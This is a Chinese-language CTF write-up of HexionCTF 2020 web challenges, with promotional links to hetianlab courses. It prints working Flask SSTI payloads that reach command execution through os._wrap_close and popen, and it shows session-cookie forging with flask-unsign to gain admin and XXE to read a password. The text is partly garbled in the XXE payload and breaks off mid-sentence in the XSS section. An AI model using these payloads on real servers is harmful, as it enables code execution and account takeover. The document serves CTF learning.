HexionCTF 2020 都是一些基础和中等的题目,但是没有 ak,等到官方 wp (https://github.com/HexionTeam/HexionCTF-Writeups/tree/master/HexionCTF%202020%20Online)出来之后就整理了一下,发现还是有一些知识没有掌握的。
打开靶机发现是 404 页面,看一下 robots.txt
Sitemap: sitemap.xml
Allow: *
访问 sitemap.xml 可以看到给了三个 url
https://wk.hexionteam.com/404.html
https://wk.hexionteam.com/robots.txt
https://wk.hexionteam.com/.well-known/security.txt
"
Weekly CTF
http://www.hetianlab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356
(本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们,让大家通过这些题目学习到相关知识。)
"
直接访问最后一个即可
SSTI
打开靶机发现是一个留言板的页面,随便填一些信息
f12 查看源码可以发现如下代码,create按钮会向 /notes 发送请求,并且发现服务器是 gunicorn,说明这是个 python 写的网站,可以向 SSTI 的方向思考
DEPRECATED
访问 /notes ,可以看到创建的信息,这里看其实很像 python 的列表,就可以尝试 SSTI
创建 {{7*7}} 可以看到输出
接下来就是命令执行了,首先要可以访问到基类,payload 如下
{{''.__class__.__mro__[1].__subclasses__()}}
然后可以利用 os._wrap_close
类去执行命令,在基类中找到
为 ''.__class__.__mro__[1].__subclasses__()[117]
构造 pyaload
''.__class__.mro()[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()
另外一种方法是直接利用 gevent.subprocess.Popen
进行 getshell
{{''.__class__.mro()[1].__subclasses__()[425](['cat','flag'], stdout=-1).communicate()[0] }}
"
Flask服务端模板注入漏洞
http://www.hetianlab.com/expc.do?ce=4af3f562-d936-41b0-9fec-b6fcfa6178b3
服务端模板注入是指用户输入的参数被服务端当成模板语言进行了渲染,导致代码执行。
JACC
flask session & xxe
打开靶机是一个登陆界面,要求输入用户名
随便输入一个登陆之后,就来到了游戏界面,没发现什么有用的东西( 这里的数字直接在控制台改就行 ),考虑到题目给的提示 cookie
看一下请求头和响应头,发现还是 python 的网站,用 flask-unsign 解 cookie
λ flask-unsign --decode --cookie .eJxtjrtugzAARX-l8tzBdhOpsNXllVQG8bAtvEGNCsJ2aEAqEOXf6w7dMl7dc6RzA5-Xyzh0M_Dh M9Cr0cC_gacW-ICFaaTCtcrHMy_EYrlBohN0axM5NMazFadQwfU7F4qy_e2a4-nQidOWVSSX2LMlS4lEJGGmHwvI3K-JhDpw_DmHkWVhLzo91aXlku_RzOLjexunS_OimiJRWEZ99rdT0Q8cPfLV3OmvrTDLwPGKWDyRLPxxfVNNR3mttZoVJ7bF_zw9NkjXrsf1vR6qIP1Q5rSzcgnkDj1wv_8CPIBaDA.XpQ1OQ.8tMhEwnMqeTAnbonBNrhxUrtrhc
{'cookies': 0, 'lxml': b'PCEtLSBBUEkgVmVyc2lvbjogMS4wLjAgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPnBlcmkwZDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+Cg=='}
解出来一串 base64 编码后的字符串,解码
peri0d
0
那就加一个 admin 为 1 的字段吧
peri0d
1
0
编码一下
PCEtLSBBUEkgVmVyc2lvbjogMS4wLjAgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPnBlcmkwZDwvdXNlcm5hbWU+CiAgICAJPGlzX2FkbWluPjE8L2lzX2FkbWluPgogICAgICAgIDx1c2VybmFtZT48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==
然后就可以进入 admin 面板,查看源码可以发现
既然这里用到了 XML,在 username 处是不是存在 XXE
修改 XML 为 username = &xxe;
version = -->]>]>
然后就可以获取密码,登陆即可获取 flag
"
XXE漏洞分析与实践
http://www.hetianlab.com/expc.do?ce=4d1a878f-03b7-4813-a714-3b0c3ee75d54
(理解XML外部实体注入攻击的原理与利用过程)
"
xss bypass
打开靶机是一个登陆窗口
直接点击 Login 发现可以直接登陆,然后来到 index 页面
在这个页面进行了多次的 Submit 并未发现什么信息,在 Logout 时,发现 URL 多了一个 next 参数 http://34.76.228.102:2003/login?next=
尝试在 next 后面加东西,发现添加的内容会出现在